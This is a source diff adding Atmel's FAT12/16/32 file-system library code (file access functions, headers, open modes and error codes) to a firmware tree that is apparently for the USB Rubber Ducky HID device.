||||
//!
|
||||
Bool file_putc( uint8_t u8_byte )
|
||||
{
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode))
|
||||
{
|
||||
fs_g_status = FS_ERR_READ_ONLY;
|
||||
return false;
|
||||
}
|
||||
|
||||
if( !fat_write_file( FS_CLUST_ACT_ONE , 1 ))
|
||||
return false;
|
||||
|
||||
// Write the data in the internal cache
|
||||
fat_cache_mark_sector_as_dirty();
|
||||
fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ] = u8_byte;
|
||||
fs_g_nav_entry.u32_pos_in_file++;
|
||||
|
||||
// Update the file size
|
||||
if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size )
|
||||
{
|
||||
fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
#endif // FS_LEVEL_FEATURES
|
||||
|
||||
|
||||
//! This function returns the position in the file
|
||||
//!
|
||||
//! @return Position in file
|
||||
//!
|
||||
uint32_t file_getpos( void )
|
||||
{
|
||||
if( !fat_check_mount_select_open() )
|
||||
return 0;
|
||||
|
||||
return fs_g_nav_entry.u32_pos_in_file;
|
||||
}
|
||||
|
||||
|
||||
//! This function changes the position in the file
|
||||
//!
|
||||
//! @param u32_pos number of byte to seek
|
||||
//! @param u8_whence direction of seek <br>
|
||||
//! FS_SEEK_SET , start at the beginning and foward <br>
|
||||
//! FS_SEEK_END , start at the end of file and rewind <br>
|
||||
//! FS_SEEK_CUR_RE, start at the current position and rewind <br>
|
||||
//! FS_SEEK_CUR_FW, start at the current position and foward <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool file_seek( uint32_t u32_pos , uint8_t u8_whence )
|
||||
{
|
||||
if( !fat_check_mount_select_open())
|
||||
return false;
|
||||
|
||||
switch(u8_whence)
|
||||
{
|
||||
case FS_SEEK_CUR_RE:
|
||||
if( fs_g_nav_entry.u32_pos_in_file < u32_pos )
|
||||
{ // Out of the limit
|
||||
fs_g_status = FS_ERR_BAD_POS;
|
||||
return false;
|
||||
}
|
||||
// update the position
|
||||
fs_g_nav_entry.u32_pos_in_file -= u32_pos;
|
||||
break;
|
||||
|
||||
case FS_SEEK_SET:
|
||||
if( fs_g_nav_entry.u32_size < u32_pos )
|
||||
{ // Out of the limit
|
||||
fs_g_status = FS_ERR_BAD_POS;
|
||||
return false;
|
||||
}
|
||||
// update the position
|
||||
fs_g_nav_entry.u32_pos_in_file = u32_pos;
|
||||
break;
|
||||
|
||||
case FS_SEEK_END:
|
||||
if( fs_g_nav_entry.u32_size < u32_pos )
|
||||
{ // Out of the limit
|
||||
fs_g_status = FS_ERR_BAD_POS;
|
||||
return false;
|
||||
}
|
||||
// update the position
|
||||
fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size - u32_pos;
|
||||
break;
|
||||
|
||||
case FS_SEEK_CUR_FW:
|
||||
u32_pos += fs_g_nav_entry.u32_pos_in_file;
|
||||
if( fs_g_nav_entry.u32_size < u32_pos )
|
||||
{ // Out of the limit
|
||||
fs_g_status = FS_ERR_BAD_POS;
|
||||
return false;
|
||||
}
|
||||
// update the position
|
||||
fs_g_nav_entry.u32_pos_in_file = u32_pos;
|
||||
break;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//! This function checks the beginning of file
|
||||
//!
|
||||
//! @return 1 the position is at the beginning of file
|
||||
//! @return 0 the position isn't at the beginning of file
|
||||
//! @return FFh error
|
||||
//!
|
||||
uint8_t file_bof( void )
|
||||
{
|
||||
if( !fat_check_mount_select_open() )
|
||||
return 0xFF;
|
||||
|
||||
return (0 == fs_g_nav_entry.u32_pos_in_file );
|
||||
}
|
||||
|
||||
|
||||
//! This function checks the end of file
|
||||
//!
|
||||
//! @return 1 the position is at the end of file
|
||||
//! @return 0 the position isn't at the end of file
|
||||
//! @return FFh error
|
||||
//!
|
||||
uint8_t file_eof( void )
|
||||
{
|
||||
if( !fat_check_mount_select_open() )
|
||||
return 0xFF;
|
||||
return (fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file );
|
||||
}
|
||||
|
||||
|
||||
//! This function flushs the internal cache (file datas and file information)
|
||||
//!
|
||||
void file_flush( void )
|
||||
{
|
||||
uint8_t save_open_mode;
|
||||
save_open_mode = fs_g_nav_entry.u8_open_mode;
|
||||
file_close();
|
||||
fs_g_nav_entry.u8_open_mode = save_open_mode;
|
||||
}
|
||||
|
||||
|
||||
//! This function closes the file
|
||||
//!
|
||||
void file_close( void )
|
||||
{
|
||||
// If a file is opened, then close this one
|
||||
if( fat_check_mount_select_open() )
|
||||
{
|
||||
|
||||
#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE))
|
||||
if( FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode )
|
||||
{
|
||||
// Write file information
|
||||
if( !fat_read_dir() )
|
||||
return; // error
|
||||
fat_write_entry_file();
|
||||
fat_cache_flush(); // In case of error during writing data, flush the data before exit function
|
||||
}
|
||||
#endif // FS_LEVEL_FEATURES
|
||||
Fat_file_close();
|
||||
}
|
||||
}
|
225
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h
Executable file
225
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h
Executable file
|
@ -0,0 +1,225 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief FAT 12/16/32 Services.
|
||||
*
|
||||
* This file defines a useful set of functions for the file accesses on
|
||||
* AVR32 devices.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
#ifndef _FILE_H_
|
||||
#define _FILE_H_
|
||||
|
||||
#include "fs_com.h"
|
||||
#include "fat.h"
|
||||
|
||||
//_____ D E F I N I T I O N S ______________________________________________
|
||||
|
||||
//! \name options for file_seek() routine
|
||||
//! @{
|
||||
#define FS_SEEK_SET 0x00 //!< start at the beginning
|
||||
#define FS_SEEK_END 0x01 //!< start at the end of file and rewind
|
||||
#define FS_SEEK_CUR_RE 0x02 //!< start at the current position and rewind
|
||||
#define FS_SEEK_CUR_FW 0x03 //!< start at the current position and foward
|
||||
//! @}
|
||||
|
||||
//! \name Struture to define a physical memory segment
|
||||
//! @{
|
||||
typedef struct {
|
||||
uint8_t u8_lun; //!< logical unit(drive) number
|
||||
uint32_t u32_addr; //!< segment address (unit sector)
|
||||
uint16_t u16_size; //!< segment size (unit sector), or IN parameter for file_write() and file_read() routines
|
||||
} Fs_file_segment;
|
||||
//! @}
|
||||
|
||||
|
||||
//_____ D E C L A R A T I O N S ____________________________________________
|
||||
|
||||
//! This function checks if a file is selected
|
||||
//!
|
||||
//! @return true, a file is selected
|
||||
//! @return false, otherwise
|
||||
//!
|
||||
Bool file_ispresent( void );
|
||||
|
||||
//! This function opens the selected file
|
||||
//!
|
||||
//! @param fopen_mode option to open the file : <br>
|
||||
//! FOPEN_MODE_R R access, flux pointer = 0, size not modify <br>
|
||||
//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify <br>
|
||||
//! FOPEN_MODE_W W access, flux pointer = 0, size = 0 <br>
|
||||
//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0 <br>
|
||||
//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool file_open( uint8_t fopen_mode );
|
||||
|
||||
//! This function returns a segment (position & size) in a physical memory corresponding at the file
|
||||
//!
|
||||
//! @param segment Pointer on the segment structure: <br>
|
||||
//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited) <br>
|
||||
//! ->u32_size_or_pos OUT, containt the segment size (unit sector) <br>
|
||||
//! ->other IN, ignored <br>
|
||||
//! ->other OUT, contains the segment position <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is interesting to read a file via a DMA and avoid the file system decode
|
||||
//! because this routine returns a physical memory segment without File System information.
|
||||
//! Note: the file can be fragmented and you must call file_read() for each fragments.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment );
|
||||
|
||||
//! This function copys in a buffer the file data corresponding at the current position
|
||||
//!
|
||||
//! @param buffer buffer to fill
|
||||
//! @param u16_buf_size buffer size
|
||||
//!
|
||||
//! @return number of byte read
|
||||
//! @return 0, in case of error
|
||||
//!
|
||||
uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size );
|
||||
|
||||
//! This function returns the next byte of file
|
||||
//!
|
||||
//! @return The byte readed
|
||||
//! @return EOF, in case of error or end of file
|
||||
//!
|
||||
uint16_t file_getc( void );
|
||||
|
||||
//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file
|
||||
//!
|
||||
//! @param segment Pointer on the segment structure: <br>
|
||||
//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file <br>
|
||||
//! ->u32_size_or_pos OUT, contains the segment size (unit sector) <br>
|
||||
//! ->other IN, ignored <br>
|
||||
//! ->other OUT, contains the segment position <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is interesting to write a file via a DMA and avoid the file system decode
|
||||
//! because this routine returns a physical memory segment without File System information.
|
||||
//! Note: the file can be fragmented and you must call file_write() for each fragments.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment );
|
||||
|
||||
//! This function sets the end of file at the current position
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
//! @verbatim
|
||||
//! This routine is usualy used after the last file_write() call.
|
||||
//! The file_write() routine uses the sector unit (512B),
|
||||
//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call.
|
||||
//! @endverbatim
|
||||
//!
|
||||
Bool file_set_eof( void );
|
||||
|
||||
//! This function transfer a buffer to a file at the current file position
|
||||
//!
|
||||
//! @param buffer data buffer
|
||||
//! @param u16_buf_size data size
|
||||
//!
|
||||
//! @return number of byte write
|
||||
//! @return 0, in case of error
|
||||
//!
|
||||
uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size );
|
||||
|
||||
//! This function writes a byte in the file
|
||||
//!
|
||||
//! @param u8_byte byte to write
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool file_putc( uint8_t u8_byte );
|
||||
|
||||
//! This function returns the position in the file
|
||||
//!
|
||||
//! @return Position in file
|
||||
//!
|
||||
uint32_t file_getpos( void );
|
||||
|
||||
//! This function changes the position in the file
|
||||
//!
|
||||
//! @param u32_pos number of byte to seek
|
||||
//! @param u8_whence direction of seek <br>
|
||||
//! FS_SEEK_SET , start at the beginning and foward <br>
|
||||
//! FS_SEEK_END , start at the end of file and rewind <br>
|
||||
//! FS_SEEK_CUR_RE, start at the current position and rewind <br>
|
||||
//! FS_SEEK_CUR_FW, start at the current position and foward <br>
|
||||
//!
|
||||
//! @return false in case of error, see global value "fs_g_status" for more detail
|
||||
//! @return true otherwise
|
||||
//!
|
||||
Bool file_seek( uint32_t u32_pos , uint8_t u8_whence );
|
||||
|
||||
//! This function checks the beginning of file
|
||||
//!
|
||||
//! @return 1 the position is at the beginning of file
|
||||
//! @return 0 the position isn't at the beginning of file
|
||||
//! @return FFh error
|
||||
//!
|
||||
uint8_t file_bof( void );
|
||||
|
||||
//! This function checks the end of file
|
||||
//!
|
||||
//! @return 1 the position is at the end of file
|
||||
//! @return 0 the position isn't at the end of file
|
||||
//! @return FFh error
|
||||
//!
|
||||
uint8_t file_eof( void );
|
||||
|
||||
//! This function flushs the internal cache (file datas and file information)
|
||||
//!
|
||||
void file_flush( void );
|
||||
|
||||
//! This function closes the file
|
||||
//!
|
||||
void file_close( void );
|
||||
|
||||
|
||||
#endif // _FILE_H_
|
258
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h
Executable file
258
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fs_com.h
Executable file
|
@ -0,0 +1,258 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief FAT 12/16/32 Services.
|
||||
*
|
||||
* This file provides a set of definitions for FAT module interface.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
#ifndef _FAT_COM_H_
|
||||
#define _FAT_COM_H_
|
||||
|
||||
#include "conf_explorer.h"
|
||||
|
||||
//! Used to have a clear code with only one segment to define a variable in project
|
||||
#undef _GLOBEXT_
|
||||
#if (defined _fat_c_)
|
||||
# define _GLOBEXT_
|
||||
#else
|
||||
# define _GLOBEXT_ extern
|
||||
#endif
|
||||
|
||||
|
||||
//------- Check configuration defined in conf_explorer.h
|
||||
|
||||
#ifndef FS_FAT_12
|
||||
# error FS_FAT_12 must be defined with ENABLED or DISABLED in conf_explorer.h
|
||||
#endif
|
||||
#ifndef FS_FAT_16
|
||||
# error FS_FAT_16 must be defined with ENABLED or DISABLED in conf_explorer.h
|
||||
#endif
|
||||
#ifndef FS_FAT_32
|
||||
# error FS_FAT_32 must be defined with ENABLED or DISABLED in conf_explorer.h
|
||||
#endif
|
||||
|
||||
#ifndef FS_MULTI_PARTITION
|
||||
# error FS_MULTI_PARTITION must be defined with ENABLED or DISABLED in conf_explorer.h
|
||||
#endif
|
||||
#ifndef FS_NB_NAVIGATOR
|
||||
# error FS_NB_NAVIGATOR must be defined in conf_explorer.h
|
||||
#endif
|
||||
|
||||
|
||||
//_____ D E F I N I T I O N S ______________________________________________
|
||||
|
||||
|
||||
//**** Defines used in function parameters
|
||||
|
||||
//! \name Modes of file name control functions
|
||||
//! @{
|
||||
#define FS_NAME_GET true
|
||||
#define FS_NAME_CHECK false
|
||||
//! @}
|
||||
|
||||
//! \name Modes of disk serial number function
|
||||
//! @{
|
||||
#define FS_SN_READ true
|
||||
#define FS_SN_WRITE false
|
||||
//! @}
|
||||
|
||||
//! \name Modes of disk label function
|
||||
//! @{
|
||||
#define FS_LABEL_READ true
|
||||
#define FS_LABEL_WRITE false
|
||||
//! @}
|
||||
|
||||
//! \name Status returned by paste file function
|
||||
//! @{
|
||||
#define COPY_BUSY 0x00
|
||||
#define COPY_FAIL 0x01
|
||||
#define COPY_FINISH 0x02
|
||||
//! @}
|
||||
|
||||
//! \name Date field managed by date control functions
|
||||
//! @{
|
||||
#define FS_DATE_CREATION true
|
||||
#define FS_DATE_LAST_WRITE false
|
||||
//! @}
|
||||
|
||||
//! \name File entry types used by many functions
|
||||
//! @{
|
||||
#define FS_FILE true
|
||||
#define FS_DIR false
|
||||
//! @}
|
||||
|
||||
//! \name Directory identifier, which corresponding at the first cluster of directory cluster list
|
||||
//! @{
|
||||
#define FS_ID_DIR_EMPTY 0xFFFFFFFF // ID no directory = bad cluster
|
||||
#define FS_ID_DIR_ROOT 0 // ID of the root directory is always the cluster 0
|
||||
//! @}
|
||||
|
||||
//! \name File entry attributes
|
||||
//! @{
|
||||
#define FS_ATTR_FILE ((Byte)0x00) // Normal File attribute
|
||||
#define FS_ATTR_READ_ONLY ((Byte)0x01) // Read Only File attribute
|
||||
#define FS_ATTR_HIDDEN ((Byte)0x02) // Hidden File attribute
|
||||
#define FS_ATTR_SYSTEM ((Byte)0x04) // System File attribute
|
||||
#define FS_ATTR_VOLUME_ID ((Byte)0x08) // Volume id attribute
|
||||
#define FS_ATTR_DIRECTORY ((Byte)0x10) // Directory attribute
|
||||
#define FS_ATTR_ARCHIVE ((Byte)0x20) // Archive attribute
|
||||
#define FS_ATTR_LFN_ENTRY ((Byte)0x0F) // LFN entry attribute
|
||||
#define Fat_is_not_a_file ((FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr) || (FS_ATTR_VOLUME_ID & fs_g_nav_entry.u8_attr))
|
||||
//! @}
|
||||
|
||||
//! \name File open modes
|
||||
//! @{
|
||||
#define FOPEN_READ_ACCESS 0x01 // authorize the read access
|
||||
#define FOPEN_WRITE_ACCESS 0x02 // authorize the write access
|
||||
#define FOPEN_CLEAR_SIZE 0x04 // reset size
|
||||
#define FOPEN_CLEAR_PTR 0x08 // reset flux pointer
|
||||
#define FOPEN_MODE_R (FOPEN_READ_ACCESS|FOPEN_CLEAR_PTR) //!< R access, flux pointer = 0, size not modify
|
||||
#define FOPEN_MODE_R_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR) //!< R/W access, flux pointer = 0, size not modify
|
||||
#define FOPEN_MODE_W (FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< W access, flux pointer = 0, size = 0
|
||||
#define FOPEN_MODE_W_PLUS (FOPEN_READ_ACCESS|FOPEN_WRITE_ACCESS|FOPEN_CLEAR_PTR|FOPEN_CLEAR_SIZE) //!< R/W access, flux pointer = 0, size = 0
|
||||
#define FOPEN_MODE_APPEND (FOPEN_WRITE_ACCESS) //!< W access, flux pointer = at the end, size not modify
|
||||
//! @}
|
||||
|
||||
//! \name Value to signal the end of file after a file_getc() call
|
||||
#define FS_EOF 0xFFFF
|
||||
|
||||
//! \name Options of format function
|
||||
//! @{
|
||||
#define FS_FORMAT_DEFAULT 0x01 //!< The format routine chooses the better FAT for the device
|
||||
#define FS_FORMAT_FAT 0x02 //!< Force FAT12 or FAT16 format
|
||||
#define FS_FORMAT_FAT32 0x03 //!< Force FAT32 format
|
||||
#define FS_FORMAT_NOMBR_FLAG 0x80 //!< MBR is mandatory for USB device on MacOS, and no MBR is mandatory for CD-ROM USB device on Windows
|
||||
#define FS_FORMAT_DEFAULT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_DEFAULT)
|
||||
#define FS_FORMAT_FAT_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT)
|
||||
#define FS_FORMAT_FAT32_NOMBR (FS_FORMAT_NOMBR_FLAG | FS_FORMAT_FAT32)
|
||||
//! @}
|
||||
|
||||
|
||||
//**** communication STRUCTURES
|
||||
|
||||
//! \name String types depend of ASCII and UNICODE options
|
||||
//! @{
|
||||
typedef uint16_t UNICODE;
|
||||
typedef char _MEM_TYPE_SLOW_ * FS_STRING;
|
||||
typedef UNICODE _MEM_TYPE_SLOW_ * FS_STR_UNICODE;
|
||||
//! @}
|
||||
|
||||
//! \name Struture to store a pointer on a file
|
||||
typedef struct {
|
||||
uint8_t u8_lun; //!< number of the logical driver
|
||||
#if (FS_MULTI_PARTITION == ENABLED)
|
||||
uint8_t u8_partition; //!< number of the partition - 1 (0 or 1) (if FS_MULTI_PARTITION == ENABLED)
|
||||
#endif
|
||||
uint32_t u32_cluster_sel_dir; //!< first cluster of the directory corresponding at the selected file
|
||||
uint16_t u16_entry_pos_sel_file; //!< entry offset of selected file in selected directory (unit = FS_SIZE_FILE_ENTRY)
|
||||
} Fs_index;
|
||||
|
||||
|
||||
//**** ERROR CODE
|
||||
|
||||
//! \name File System errors list
|
||||
//! @{
|
||||
#define FS_ERR_HW (FAIL+0) //!< Hardware driver error
|
||||
#define FS_ERR_NO_FORMAT (FAIL+1) //!< The selected drive isn't formated
|
||||
#define FS_ERR_NO_PART (FAIL+2) //!< The selected partition doesn't existed
|
||||
#define FS_ERR_NO_SUPPORT_PART (FAIL+3) //!< The selected partition isn't supported
|
||||
#define FS_ERR_TOO_FILE_OPEN (FAIL+4) //!< The navigation have already opened a file
|
||||
#define FS_ERR_END_OF_DRIVE (FAIL+5) //!< There are not other driver
|
||||
#define FS_ERR_BAD_POS (FAIL+6) //!< The position is over the file
|
||||
#define FS_ERR_FS (FAIL+7) //!< File system error
|
||||
#define FS_ERR_NO_FIND (FAIL+8) //!< File no found
|
||||
#define FS_ERR_ENTRY_EMPTY (FAIL+9) //!< File entry empty
|
||||
#define FS_ERR_ENTRY_BAD (FAIL+10) //!< File entry bad
|
||||
#define FS_ERR_ENTRY_BADTYPE (FAIL+11) //!< File entry type don't corresponding
|
||||
#define FS_ERR_NO_DIR (FAIL+12) //!< The selected file isn't a directory
|
||||
#define FS_ERR_NO_MOUNT (FAIL+13) //!< The partition isn't mounted
|
||||
#define FS_ERR_NO_FILE_SEL (FAIL+14) //!< There are no selected file
|
||||
#define FS_NO_LAST_LFN_ENTRY (FAIL+15) //!< The file entry isn't the last long file entry
|
||||
|
||||
#define FS_ERR_ID_FILE (FAIL+17) //!< The file identifier is bad
|
||||
#define FS_ERR_NO_FILE (FAIL+18) //!< The selected file entry isn't a file
|
||||
#define FS_LUN_WP (FAIL+19) //!< Drive is in read only mode
|
||||
#define FS_ERR_READ_ONLY (FAIL+20) //!< File is on read access only
|
||||
#define FS_ERR_NAME_INCORRECT (FAIL+21) //!< The name don't corresponding at the filter name
|
||||
#define FS_ERR_FILE_NO_OPEN (FAIL+22) //!< No file is opened
|
||||
#define FS_ERR_HW_NO_PRESENT (FAIL+23) //!< Device is not present
|
||||
#define FS_ERR_IS_ROOT (FAIL+24) //!< There aren't parent because the current directory is a root directory
|
||||
#define FS_ERR_OUT_LIST (FAIL+25) //!< The position is outside the cluster list
|
||||
#define FS_ERR_NO_FREE_SPACE (FAIL+26) //!< No free cluster found in FAT
|
||||
#define FS_ERR_INCORRECT_NAME (FAIL+27) //!< Incorrect name, this one cannot contain any of the following characters \/:*?"<>|
|
||||
#define FS_ERR_DIR_NOT_EMPTY (FAIL+28) //!< This function erases only file and empty directory
|
||||
#define FS_ERR_WRITE_ONLY (FAIL+29) //!< File is on write access only
|
||||
#define FS_ERR_MODE_NOAVIALABLE (FAIL+30) //!< This open mode isn't available
|
||||
#define FS_ERR_EOF (FAIL+31) //!< End of file
|
||||
#define FS_ERR_BAD_SIZE_FAT (FAIL+32) //!< The disk size is not supported by selected FAT format
|
||||
#define FS_ERR_COMMAND (FAIL+33) //!< This command is not supported
|
||||
#define FS_ERR_BUFFER_FULL (FAIL+34) //!< Buffer is too small
|
||||
#define FS_ERR_COPY_DIR (FAIL+35) //!< Directory copy is not supported
|
||||
#define FS_ERR_COPY_RUNNING (FAIL+36) //!< A copy action is always running
|
||||
#define FS_ERR_COPY_IMPOSSIBLE (FAIL+37) //!< The copy is impossible
|
||||
#define FS_ERR_BAD_NAV (FAIL+38) //!< The navigator identifier doesn't existed
|
||||
#define FS_ERR_FILE_OPEN (FAIL+39) //!< The file is already opened
|
||||
#define FS_ERR_FILE_OPEN_WR (FAIL+40) //!< The file is already opened in write mode
|
||||
#define FS_ERR_FILE_EXIST (FAIL+41) //!< The file is already existed
|
||||
#define FS_ERR_NAME_TOO_LARGE (FAIL+42) //!< The file name is too large (>260 characters)
|
||||
#define FS_ERR_DEVICE_TOO_SMALL (FAIL+43) //!< The disk size is too small for format routine
|
||||
|
||||
#define FS_ERR_PL_NOT_OPEN (FAIL+50) //!< The play list isn't opened
|
||||
#define FS_ERR_PL_ALREADY_OPEN (FAIL+51) //!< The play list is already opened
|
||||
#define FS_ERR_PL_LST_END (FAIL+52) //!< You are at the end of play list
|
||||
#define FS_ERR_PL_LST_BEG (FAIL+53) //!< You are at the beginning of play list
|
||||
#define FS_ERR_PL_OUT_LST (FAIL+54) //!< You are outside of the play list
|
||||
#define FS_ERR_PL_READ_ONLY (FAIL+55) //!< Impossible to modify the play list
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Compilation feature levels
|
||||
//! @{
|
||||
#define FSFEATURE_READ 0x00 //!< All read functions
|
||||
#define FSFEATURE_WRITE 0x02 //!< nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc()
|
||||
#define FSFEATURE_WRITE_COMPLET 0x06 //!< FSFEATURE_WRITE + nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset()
|
||||
#define FSFEATURE_ALL 0xFF //!< All file system module
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Status type for the file system
|
||||
typedef uint8_t Fs_status;
|
||||
//! \name Global status of file system module (used to return error number)
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_status fs_g_status;
|
||||
|
||||
#endif // _FAT_COM_H_
|
2409
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c
Executable file
2409
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/navigation.c
Executable file
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,766 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief FAT 12/16/32 Services.
|
||||
*
|
||||
* This file defines a useful set of functions for file navigation.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
